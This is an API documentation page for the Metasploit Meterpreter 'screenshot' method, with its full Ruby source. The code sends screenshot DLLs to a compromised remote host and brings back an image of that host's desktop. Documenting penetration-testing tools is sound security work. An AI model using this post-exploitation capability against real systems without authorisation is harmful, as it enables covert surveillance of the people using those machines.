Method: Rex::Post::Meterpreter::Extensions::Stdapi::UI#screenshot

Defined in:
lib/rex/post/meterpreter/extensions/stdapi/ui.rb

#screenshot(quality = 50) ⇒ Object

Grab a screenshot of the interactive desktop



154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 154

def screenshot( quality=50 )
  request = Packet.create_request( 'stdapi_ui_desktop_screenshot' )
  request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality )
  # include the x64 screenshot dll if the host OS is x64
  if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ )
    screenshot_path = MeterpreterBinaries.path('screenshot','x64.dll')
    screenshot_path = ::File.expand_path( screenshot_path )
    screenshot_dll  = ''
    ::File.open( screenshot_path, 'rb' ) do |f|
      screenshot_dll += f.read( f.stat.size )
    end
    request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER, screenshot_dll, false, true )
    request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH, screenshot_dll.length )
  end
  # but allways include the x86 screenshot dll as we can use it for wow64 processes if we are on x64
  screenshot_path = MeterpreterBinaries.path('screenshot','x86.dll')
  screenshot_path = ::File.expand_path( screenshot_path )
  screenshot_dll  = ''
  ::File.open( screenshot_path, 'rb' ) do |f|
    screenshot_dll += f.read( f.stat.size )
  end
  request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER, screenshot_dll, false, true )
  request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH, screenshot_dll.length )
  # send the request and return the jpeg image if successfull.
  response = client.send_request( request )
  if( response.result == 0 )
    return response.get_tlv_value( TLV_TYPE_DESKTOP_SCREENSHOT )
  end
  return nil
end